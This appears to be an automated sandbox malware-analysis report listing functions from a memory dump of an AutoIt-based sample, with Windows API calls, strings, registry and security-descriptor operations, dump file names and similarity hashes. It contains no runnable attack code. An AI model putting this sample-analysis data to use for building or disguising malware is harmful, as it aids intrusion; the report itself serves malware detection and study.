Function 00A62711 Relevance: 45.8, APIs: 22, Strings: 4, Instructions: 330windowCOMMON

Download Yara Rule

APIs

DestroyWindow.USER32(00000000), ref: 00A6273E
SystemParametersInfoW.USER32(00000030,00000000,?,00000000), ref: 00A6286A
SetRect.USER32(?,00000000,00000000,0000012C,?), ref: 00A628A9
AdjustWindowRectEx.USER32(?,88C00000,00000000,00000008), ref: 00A628B9
CreateWindowExW.USER32(00000008,AutoIt v3,?,88C00000,000000FF,?,?,?,00000000,00000000,00000000), ref: 00A62900
GetClientRect.USER32(00000000,?), ref: 00A6290C
CreateWindowExW.USER32(00000000,static,?,50000000,?,00000004,00000500,-00000017,00000000,00000000,00000000), ref: 00A62955
CreateDCW.GDI32(DISPLAY,00000000,00000000,00000000), ref: 00A62964
GetStockObject.GDI32(00000011), ref: 00A62974
SelectObject.GDI32(00000000,00000000), ref: 00A62978
GetTextFaceW.GDI32(00000000,00000040,?,?,50000000,?,00000004,00000500,-00000017,00000000,00000000,00000000,?,88C00000,000000FF,?), ref: 00A62988
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00A62991
DeleteDC.GDI32(00000000), ref: 00A6299A
CreateFontW.GDI32(00000000,00000000,00000000,00000000,00000258,00000000,00000000,00000000,00000001,00000004,00000000,00000002,00000000,?), ref: 00A629C6
SendMessageW.USER32(00000030,00000000,00000001), ref: 00A629DD
CreateWindowExW.USER32(00000200,msctls_progress32,00000000,50000001,?,-0000001D,00000104,00000014,00000000,00000000,00000000), ref: 00A62A1D
SendMessageW.USER32(00000000,00000401,00000000,00640000), ref: 00A62A31
SendMessageW.USER32(00000404,00000001,00000000), ref: 00A62A42
CreateWindowExW.USER32(00000000,static,?,50000000,?,00000041,00000500,-00000027,00000000,00000000,00000000), ref: 00A62A77
GetStockObject.GDI32(00000011), ref: 00A62A82
SendMessageW.USER32(00000030,00000000,?,50000000), ref: 00A62A8D
ShowWindow.USER32(00000004,?,50000000,?,00000004,00000500,-00000017,00000000,00000000,00000000,?,88C00000,000000FF,?,?,?), ref: 00A62A97

Strings

DISPLAY, xrefs: 00A6295A
msctls_progress32, xrefs: 00A62A13
AutoIt v3, xrefs: 00A628F8
static, xrefs: 00A6294F, 00A62A71

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: Window$Create$MessageSend$ObjectRect$Stock$AdjustCapsClientDeleteDestroyDeviceFaceFontInfoParametersSelectShowSystemText
String ID: AutoIt v3$DISPLAY$msctls_progress32$static
API String ID: 2910397461-517079104
Opcode ID: b3f92983571fb6a5c20d4394bfb2f6ad6e45b9c87c3cf4ff1b3ed90dd46c3812
Instruction ID: 8f2c1d2ca6ad99b2edb67a8ff7fe3185b5216689d8036f2b9595dc9ba3b0b561
Opcode Fuzzy Hash: b3f92983571fb6a5c20d4394bfb2f6ad6e45b9c87c3cf4ff1b3ed90dd46c3812
Instruction Fuzzy Hash: BBB17E71A00605AFEB14DFA9CC45FAE7BB9EB48710F108618F915EB2A1DB70ED41CB94

Function 00A54ADF Relevance: 45.7, APIs: 3, Strings: 23, Instructions: 191COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000001), ref: 00A54AED
GetDriveTypeW.KERNEL32(?,00A7CB68,?,\\.\,00A7CC08), ref: 00A54BCA
SetErrorMode.KERNEL32(00000000,00A7CB68,?,\\.\,00A7CC08), ref: 00A54D36

Strings

CDROM, xrefs: 00A54BFB
FileBackedVirtual, xrefs: 00A54CEC
SAS, xrefs: 00A54CC9
MMC, xrefs: 00A54CDE
ATAPI, xrefs: 00A54C91
Unknown, xrefs: 00A54BED, 00A54C83
\\.\, xrefs: 00A54B3F
PhysicalDrive, xrefs: 00A54B76
USB, xrefs: 00A54CB4
RAID, xrefs: 00A54CBB
Removable, xrefs: 00A54C10, 00A54C15
SCSI, xrefs: 00A54C8A
Fibre, xrefs: 00A54CAD
SSA, xrefs: 00A54CA6
iSCSI, xrefs: 00A54CC2
Virtual, xrefs: 00A54CE5
ATA, xrefs: 00A54C98
1394, xrefs: 00A54C9F
Fixed, xrefs: 00A54C09
Network, xrefs: 00A54C02
RAMDisk, xrefs: 00A54BF4
SATA, xrefs: 00A54CD0
SSD, xrefs: 00A54C4A

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: ErrorMode$DriveType
String ID: 1394$ATA$ATAPI$CDROM$Fibre$FileBackedVirtual$Fixed$MMC$Network$PhysicalDrive$RAID$RAMDisk$Removable$SAS$SATA$SCSI$SSA$SSD$USB$Unknown$Virtual$\\.\$iSCSI
API String ID: 2907320926-4222207086
Opcode ID: e18399fb3ce61a3ca3bc8a24e12582a9dcf624a383699805df61d648f66a97b1
Instruction ID: 4a8ab21143b92db8d1d5f26a71e05a5b1e293c7f6fa3103c2bd395205a6d4ce1
Opcode Fuzzy Hash: e18399fb3ce61a3ca3bc8a24e12582a9dcf624a383699805df61d648f66a97b1
Instruction Fuzzy Hash: C361A030605605BBCB04DF24CA8196DB7B1BB8D78EB288415FC06AB691DB35EDC9DF41

Function 00A773E8 Relevance: 39.2, APIs: 26, Instructions: 201windowCOMMON

Download Yara Rule

APIs

GetSysColor.USER32(00000012), ref: 00A77421
SetTextColor.GDI32(?,?), ref: 00A77425
GetSysColorBrush.USER32(0000000F), ref: 00A7743B
GetSysColor.USER32(0000000F), ref: 00A77446
CreateSolidBrush.GDI32(?), ref: 00A7744B
GetSysColor.USER32(00000011), ref: 00A77463
CreatePen.GDI32(00000000,00000001,00743C00), ref: 00A77471
SelectObject.GDI32(?,00000000), ref: 00A77482
SetBkColor.GDI32(?,00000000), ref: 00A7748B
SelectObject.GDI32(?,?), ref: 00A77498
InflateRect.USER32(?,000000FF,000000FF), ref: 00A774B7
RoundRect.GDI32(?,?,?,?,?,00000005,00000005), ref: 00A774CE
GetWindowLongW.USER32(00000000,000000F0), ref: 00A774DB
SendMessageW.USER32(00000000,0000000E,00000000,00000000), ref: 00A7752A
GetWindowTextW.USER32(00000000,00000000,00000001), ref: 00A77554
InflateRect.USER32(?,000000FD,000000FD), ref: 00A77572
DrawFocusRect.USER32(?,?), ref: 00A7757D
GetSysColor.USER32(00000011), ref: 00A7758E
SetTextColor.GDI32(?,00000000), ref: 00A77596
DrawTextW.USER32(?,00A770F5,000000FF,?,00000000), ref: 00A775A8
SelectObject.GDI32(?,?), ref: 00A775BF
DeleteObject.GDI32(?), ref: 00A775CA
SelectObject.GDI32(?,?), ref: 00A775D0
DeleteObject.GDI32(?), ref: 00A775D5
SetTextColor.GDI32(?,?), ref: 00A775DB
SetBkColor.GDI32(?,?), ref: 00A775E5

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: Color$Object$Text$RectSelect$BrushCreateDeleteDrawInflateWindow$FocusLongMessageRoundSendSolid
String ID:
API String ID: 1996641542-0
Opcode ID: 0a36beadfb5e6ff8c685c7d4e8b11693c2df46a00ef547bf5e82da28e2b8975b
Instruction ID: 56d7710ab8784e3073aa024b3cfdf9f35aa1c8ce7da8d97cd39d1d9d3f46c3af
Opcode Fuzzy Hash: 0a36beadfb5e6ff8c685c7d4e8b11693c2df46a00ef547bf5e82da28e2b8975b
Instruction Fuzzy Hash: A0614072900218AFDF11DFA4DC49EAE7F79EB08320F118125F919AB2A1D7759981CF90

Function 00A70FF3 Relevance: 37.0, APIs: 18, Strings: 3, Instructions: 284windowCOMMON

Download Yara Rule

APIs

GetCursorPos.USER32(?), ref: 00A71128
GetDesktopWindow.USER32 ref: 00A7113D
GetWindowRect.USER32(00000000), ref: 00A71144
GetWindowLongW.USER32(?,000000F0), ref: 00A71199
DestroyWindow.USER32(?), ref: 00A711B9
CreateWindowExW.USER32(00000008,tooltips_class32,00000000,7FFFFFFD,80000000,80000000,80000000,80000000,00000000,00000000,00000000,00000000), ref: 00A711ED
SendMessageW.USER32(00000000,00000432,00000000,00000030), ref: 00A7120B
SendMessageW.USER32(00000000,00000418,00000000,?), ref: 00A7121D
SendMessageW.USER32(00000000,00000421,?,?), ref: 00A71232
SendMessageW.USER32(00000000,0000041D,00000000,00000000), ref: 00A71245
IsWindowVisible.USER32(00000000), ref: 00A712A1
SendMessageW.USER32(00000000,00000412,00000000,D8F0D8F0), ref: 00A712BC
SendMessageW.USER32(00000000,00000411,00000001,00000030), ref: 00A712D0
GetWindowRect.USER32(00000000,?), ref: 00A712E8
MonitorFromPoint.USER32(?,?,00000002), ref: 00A7130E
GetMonitorInfoW.USER32(00000000,?), ref: 00A71328
CopyRect.USER32(?,?), ref: 00A7133F
SendMessageW.USER32(00000000,00000412,00000000), ref: 00A713AA

Strings

(, xrefs: 00A7131B
tooltips_class32, xrefs: 00A711E6
0, xrefs: 00A710D3

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: MessageSendWindow$Rect$Monitor$CopyCreateCursorDesktopDestroyFromInfoLongPointVisible
String ID: ($0$tooltips_class32
API String ID: 698492251-4156429822
Opcode ID: d8cf0e411c0747d1c6633cca9af3d045e6c74ae8b61dc87c5fbbb841ce7b86ee
Instruction ID: 7347c7ad9777ef88a24f64115e51c15e3e0eb5341f67eb298d062e07ae9399ad
Opcode Fuzzy Hash: d8cf0e411c0747d1c6633cca9af3d045e6c74ae8b61dc87c5fbbb841ce7b86ee
Instruction Fuzzy Hash: 52B15871604341AFD714DF69CC84B6ABBE4EF84354F00C91CF9999B2A1DB31E845CB92

Function 00A70241 Relevance: 35.4, APIs: 7, Strings: 13, Instructions: 391windowCOMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?), ref: 00A702E5
_wcslen.LIBCMT ref: 00A7031F
_wcslen.LIBCMT ref: 00A70389
_wcslen.LIBCMT ref: 00A703F1
_wcslen.LIBCMT ref: 00A70475
SendMessageW.USER32(?,00001032,00000000,00000000), ref: 00A704C5
SendMessageW.USER32(?,0000102C,00000000,00000002), ref: 00A70504

Part of subcall function 009FF9F2: _wcslen.LIBCMT ref: 009FF9FD

Part of subcall function 00A4223F: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00A42258
Part of subcall function 00A4223F: SendMessageW.USER32(?,0000102C,00000000,00000002), ref: 00A4228A

Strings

GETTEXT, xrefs: 00A703EC, 00A70407
FINDITEM, xrefs: 00A70627
SELECTINVERT, xrefs: 00A7057E
GETITEMCOUNT, xrefs: 00A70316, 00A70337
DESELECT, xrefs: 00A7059C
ISSELECTED, xrefs: 00A704DD
GETSELECTEDCOUNT, xrefs: 00A70470, 00A7048B
GETSELECTED, xrefs: 00A705E1
VIEWCHANGE, xrefs: 00A70675
GETSUBITEMCOUNT, xrefs: 00A70384, 00A7039F
SELECTCLEAR, xrefs: 00A7052D
SELECT, xrefs: 00A70548
SELECTALL, xrefs: 00A70515

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: _wcslen$MessageSend$BuffCharUpper
String ID: DESELECT$FINDITEM$GETITEMCOUNT$GETSELECTED$GETSELECTEDCOUNT$GETSUBITEMCOUNT$GETTEXT$ISSELECTED$SELECT$SELECTALL$SELECTCLEAR$SELECTINVERT$VIEWCHANGE
API String ID: 1103490817-719923060
Opcode ID: 25663e5c6feb4939c6a7717d8cd1d1f4791acc8d5edc8e63667535b2b0260ab4
Instruction ID: 85198cc7d54a3e50eb0106b3c956fcb347aa903da706247bedfe47d59990aac9
Opcode Fuzzy Hash: 25663e5c6feb4939c6a7717d8cd1d1f4791acc8d5edc8e63667535b2b0260ab4
Instruction Fuzzy Hash: 00E18A31218241DFCB14DF24C99092AB7E6BFC8714F14C96CF99AAB2A5DB70ED45CB81

Function 009F8891 Relevance: 33.5, APIs: 18, Strings: 1, Instructions: 282windowtimeCOMMON

Download Yara Rule

APIs

SystemParametersInfoW.USER32(00000030,00000000,000000FF,00000000), ref: 009F8968
GetSystemMetrics.USER32(00000007), ref: 009F8970
SystemParametersInfoW.USER32(00000030,00000000,000000FF,00000000), ref: 009F899B
GetSystemMetrics.USER32(00000008), ref: 009F89A3
GetSystemMetrics.USER32(00000004), ref: 009F89C8
SetRect.USER32(000000FF,00000000,00000000,000000FF,000000FF), ref: 009F89E5
AdjustWindowRectEx.USER32(000000FF,?,00000000,?), ref: 009F89F5
CreateWindowExW.USER32(?,AutoIt v3 GUI,?,?,?,000000FF,000000FF,000000FF,?,00000000,00000000), ref: 009F8A28
SetWindowLongW.USER32(00000000,000000EB,00000000), ref: 009F8A3C
GetClientRect.USER32(00000000,000000FF), ref: 009F8A5A
GetStockObject.GDI32(00000011), ref: 009F8A76
SendMessageW.USER32(00000000,00000030,00000000), ref: 009F8A81

Part of subcall function 009F912D: GetCursorPos.USER32(?), ref: 009F9141
Part of subcall function 009F912D: ScreenToClient.USER32(00000000,?), ref: 009F915E
Part of subcall function 009F912D: GetAsyncKeyState.USER32(00000001), ref: 009F9183
Part of subcall function 009F912D: GetAsyncKeyState.USER32(00000002), ref: 009F919D

SetTimer.USER32(00000000,00000000,00000028,009F90FC), ref: 009F8AA8

Strings

AutoIt v3 GUI, xrefs: 009F8A20

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: System$MetricsRectWindow$AsyncClientInfoParametersState$AdjustCreateCursorLongMessageObjectScreenSendStockTimer
String ID: AutoIt v3 GUI
API String ID: 1458621304-248962490
Opcode ID: 94ef94bc136b78acc2f05046ccbf2f1f294641ed08c7bc7886a1c01225e11e3d
Instruction ID: 94f1a1a53080aa3a6d90a5883b63e11754118fa0cfebc2fcb7ceb5d6027af9a0
Opcode Fuzzy Hash: 94ef94bc136b78acc2f05046ccbf2f1f294641ed08c7bc7886a1c01225e11e3d
Instruction Fuzzy Hash: 43B16E71A00209AFDF14DFA8CC99BAE7BB5FB48314F108229FA15A7290DB74E941CF51

Function 00A40D8B Relevance: 31.7, APIs: 21, Instructions: 202memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00A410F9: GetUserObjectSecurity.USER32(?,00000004,?,00000000,?), ref: 00A41114
Part of subcall function 00A410F9: GetLastError.KERNEL32(?,00000000,00000000,?,?,00A40B9B,?,?,?), ref: 00A41120
Part of subcall function 00A410F9: GetProcessHeap.KERNEL32(00000008,?,?,00000000,00000000,?,?,00A40B9B,?,?,?), ref: 00A4112F
Part of subcall function 00A410F9: HeapAlloc.KERNEL32(00000000,?,00000000,00000000,?,?,00A40B9B,?,?,?), ref: 00A41136
Part of subcall function 00A410F9: GetUserObjectSecurity.USER32(?,00000004,00000000,?,?), ref: 00A4114D

GetSecurityDescriptorDacl.ADVAPI32(?,?,?,?), ref: 00A40DF5
GetAclInformation.ADVAPI32(?,?,0000000C,00000002), ref: 00A40E29
GetLengthSid.ADVAPI32(?), ref: 00A40E40
GetAce.ADVAPI32(?,00000000,?), ref: 00A40E7A
AddAce.ADVAPI32(?,00000002,000000FF,?,?), ref: 00A40E96
GetLengthSid.ADVAPI32(?), ref: 00A40EAD
GetProcessHeap.KERNEL32(00000008,00000008), ref: 00A40EB5
HeapAlloc.KERNEL32(00000000), ref: 00A40EBC
GetLengthSid.ADVAPI32(?,00000008,?), ref: 00A40EDD
CopySid.ADVAPI32(00000000), ref: 00A40EE4
AddAce.ADVAPI32(?,00000002,000000FF,00000000,?), ref: 00A40F13
SetSecurityDescriptorDacl.ADVAPI32(?,00000001,?,00000000), ref: 00A40F35
SetUserObjectSecurity.USER32(?,00000004,?), ref: 00A40F47
GetProcessHeap.KERNEL32(00000000,00000000), ref: 00A40F6E
HeapFree.KERNEL32(00000000), ref: 00A40F75
GetProcessHeap.KERNEL32(00000000,00000000), ref: 00A40F7E
HeapFree.KERNEL32(00000000), ref: 00A40F85
GetProcessHeap.KERNEL32(00000000,00000000), ref: 00A40F8E
HeapFree.KERNEL32(00000000), ref: 00A40F95
GetProcessHeap.KERNEL32(00000000,?), ref: 00A40FA1
HeapFree.KERNEL32(00000000), ref: 00A40FA8

Part of subcall function 00A41193: GetProcessHeap.KERNEL32(00000008,00A40BB1,?,00000000,?,00A40BB1,?), ref: 00A411A1
Part of subcall function 00A41193: HeapAlloc.KERNEL32(00000000,?,00000000,?,00A40BB1,?), ref: 00A411A8
Part of subcall function 00A41193: InitializeSecurityDescriptor.ADVAPI32(00000000,00000001,?,00000000,?,00A40BB1,?), ref: 00A411B7

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: Heap$Process$Security$Free$AllocDescriptorLengthObjectUser$Dacl$CopyErrorInformationInitializeLast
String ID:
API String ID: 4175595110-0
Opcode ID: 7ec6862f18a0ba066b74174a390c0f8aa6c58e131ca2129dca5b4ef6cb02eef1
Instruction ID: f8f051fe5a4acb0b869f7a13d60fb8e7b42f63a3b176b0e8fe08a96d7f4e8d80
Opcode Fuzzy Hash: 7ec6862f18a0ba066b74174a390c0f8aa6c58e131ca2129dca5b4ef6cb02eef1
Instruction Fuzzy Hash: 99719F7590021AABDF20DFA4DC45FAEBBB8BF44310F048129FA19E7191D7749946DBA0

Function 00A6C3B7 Relevance: 30.2, APIs: 11, Strings: 6, Instructions: 495registryCOMMON

Download Yara Rule

APIs

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 00A6C4BD
RegCreateKeyExW.ADVAPI32(?,?,00000000,00A7CC08,00000000,?,00000000,?,?), ref: 00A6C544
RegCloseKey.ADVAPI32(00000000,00000000,00000000), ref: 00A6C5A4
_wcslen.LIBCMT ref: 00A6C5F4
_wcslen.LIBCMT ref: 00A6C66F
RegSetValueExW.ADVAPI32(00000001,?,00000000,00000001,?,?), ref: 00A6C6B2
RegSetValueExW.ADVAPI32(00000001,?,00000000,00000007,?,?), ref: 00A6C7C1
RegSetValueExW.ADVAPI32(00000001,?,00000000,0000000B,?,00000008), ref: 00A6C84D
RegCloseKey.ADVAPI32(?), ref: 00A6C881
RegCloseKey.ADVAPI32(00000000), ref: 00A6C88E
RegSetValueExW.ADVAPI32(00000001,?,00000000,00000003,00000000,00000000), ref: 00A6C960

Strings

REG_BINARY, xrefs: 00A6C913
REG_QWORD, xrefs: 00A6C8C3
REG_DWORD, xrefs: 00A6C804
REG_MULTI_SZ, xrefs: 00A6C6F5
REG_EXPAND_SZ, xrefs: 00A6C5CD
REG_SZ, xrefs: 00A6C644

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: Value$Close$_wcslen$ConnectCreateRegistry
String ID: REG_BINARY$REG_DWORD$REG_EXPAND_SZ$REG_MULTI_SZ$REG_QWORD$REG_SZ
API String ID: 9721498-966354055
Opcode ID: 3621238ba0c263ae9a3bdc0a136bbc8f55b705662a71bcf28795d5b98615bade
Instruction ID: 039bc78230ab3f955d4e27878a55f156f25b8e01aaf438f23384a70b44ec84d7
Opcode Fuzzy Hash: 3621238ba0c263ae9a3bdc0a136bbc8f55b705662a71bcf28795d5b98615bade
Instruction Fuzzy Hash: FA124575604241AFD715DF25C885B2AB7F5FF88724F04889CF89A9B2A2DB31ED41CB81

Function 00A7091E Relevance: 30.1, APIs: 6, Strings: 11, Instructions: 372windowCOMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?), ref: 00A709C6
_wcslen.LIBCMT ref: 00A70A01
SendMessageW.USER32(?,00001105,00000000,00000000), ref: 00A70A54
_wcslen.LIBCMT ref: 00A70A8A
_wcslen.LIBCMT ref: 00A70B06
_wcslen.LIBCMT ref: 00A70B81

Part of subcall function 009FF9F2: _wcslen.LIBCMT ref: 009FF9FD

Part of subcall function 00A42BE8: SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 00A42BFA

Strings

COLLAPSE, xrefs: 00A70B01, 00A70B1C
CHECK, xrefs: 00A70A85, 00A70AA0
GETTEXT, xrefs: 00A70C97
UNCHECK, xrefs: 00A70D3E
GETITEMCOUNT, xrefs: 00A70C1E
GETTOTALCOUNT, xrefs: 00A709F2, 00A70A17
EXISTS, xrefs: 00A70B7C, 00A70B97
EXPAND, xrefs: 00A70BF8
SELECT, xrefs: 00A70D11
GETSELECTED, xrefs: 00A70C4E
ISCHECKED, xrefs: 00A70CE1

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: _wcslen$MessageSend$BuffCharUpper
String ID: CHECK$COLLAPSE$EXISTS$EXPAND$GETITEMCOUNT$GETSELECTED$GETTEXT$GETTOTALCOUNT$ISCHECKED$SELECT$UNCHECK
API String ID: 1103490817-4258414348
Opcode ID: 03a481edd71b4a61d69bfaf6c2c426d769eda3f7e97108f0b5408cb7095347c1
Instruction ID: 72e00ee7dd8af2a1898e36f8dd6d865769b24cc908e75eda857e8c29d64a64dd
Opcode Fuzzy Hash: 03a481edd71b4a61d69bfaf6c2c426d769eda3f7e97108f0b5408cb7095347c1
Instruction Fuzzy Hash: 9CE15475208741DFCB14DF25C850A2AB7E2BFD8354F14C958F89A9B2A2DB30EE45CB81

Function 00A6C998 Relevance: 30.0, APIs: 7, Strings: 10, Instructions: 242COMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?,?,?,?,?,?,00A6B6AE,?,?), ref: 00A6C9B5
_wcslen.LIBCMT ref: 00A6C9F1
_wcslen.LIBCMT ref: 00A6CA68
_wcslen.LIBCMT ref: 00A6CA9E
_wcslen.LIBCMT ref: 00A6CAF9
_wcslen.LIBCMT ref: 00A6CB2F
_wcslen.LIBCMT ref: 00A6CB7F

Strings

HKCR, xrefs: 00A6CB29, 00A6CB2E
HKCC, xrefs: 00A6CBAC
HKEY_CURRENT_USER, xrefs: 00A6CBBD
HKEY_LOCAL_MACHINE, xrefs: 00A6CA62, 00A6CA67
HKEY_USERS, xrefs: 00A6CBDF
HKLM, xrefs: 00A6CA98, 00A6CA9D
HKU, xrefs: 00A6CBF0
HKEY_CLASSES_ROOT, xrefs: 00A6CAF3, 00A6CAF8
HKEY_CURRENT_CONFIG, xrefs: 00A6CB79, 00A6CB7E
HKCU, xrefs: 00A6CBCE

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: _wcslen$BuffCharUpper
String ID: HKCC$HKCR$HKCU$HKEY_CLASSES_ROOT$HKEY_CURRENT_CONFIG$HKEY_CURRENT_USER$HKEY_LOCAL_MACHINE$HKEY_USERS$HKLM$HKU
API String ID: 1256254125-909552448
Opcode ID: 4ea28728903252ff66297d24e5e54d44d9b420d77f8464de386a10ed16a2398e
Instruction ID: 10627ba1e7541bf5e901f00fc1e58f8d74f82b59a2ca5bfd6ee4e1b68b36af34
Opcode Fuzzy Hash: 4ea28728903252ff66297d24e5e54d44d9b420d77f8464de386a10ed16a2398e
Instruction Fuzzy Hash: 8071D63261016A8BCB20DFACCD516BF33B2AFA57B4B150528F8A597284E735CD8583A0

